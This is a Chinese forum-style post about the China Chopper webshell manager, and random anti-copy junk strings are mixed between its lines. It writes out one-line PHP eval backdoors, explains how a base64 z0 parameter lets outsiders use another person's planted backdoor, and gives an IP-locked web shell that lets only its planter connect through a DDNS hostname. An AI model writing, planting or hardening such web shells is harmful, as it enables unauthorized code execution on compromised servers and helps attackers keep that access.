今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
2 ~+ R, x n: X- ~/ [# r" I! L) ?/ U8 @8 n y& G" z3 A
就算你设置了密码,使用了eval($_REQUEST['moyo']);9 n" N# s9 x4 L @4 R* z$ ?; S
3 R( e6 ?9 G8 p/ z# U但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门5 b" E3 f8 K: p( N+ K
2 ?' Z* K2 P0 v
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
4 D- m, Z# x$ P% @9 F: Z6 Z4 g0 ?8 w; v- g& [5 j
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了' x( q Y! @7 D- D/ W Y
4 i% F2 z' h( d/ b* T7 P4 H
不知道是设计缺陷还是故意留的后门
5 i7 ]1 M7 J3 M2 k0 B+ |
# W- u/ }) V% I; f9 i/ r' d" X" _/ I如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
7 R, d; v5 i/ }! P' t6 m2 t+ p$ Q3 c# i" y+ H" q
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
9 X; V1 I! E* N! y# ^, ^4 \4 E7 Y; h: I( p% o6 Z7 H2 m; N- \0 V2 _
然后一句话后门这样写6 y. l9 z0 y6 Z1 W) I/ \
_7 I/ G9 S5 b h2 j<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>( x8 P/ c8 p8 D! ]$ Y O+ T+ [" @
这样就可以让一句话后门只允许自己的电脑连接了
$ Z4 k# V6 Q. {5 }( Y# g- e7 m+ P5 V( T4 w5 i
|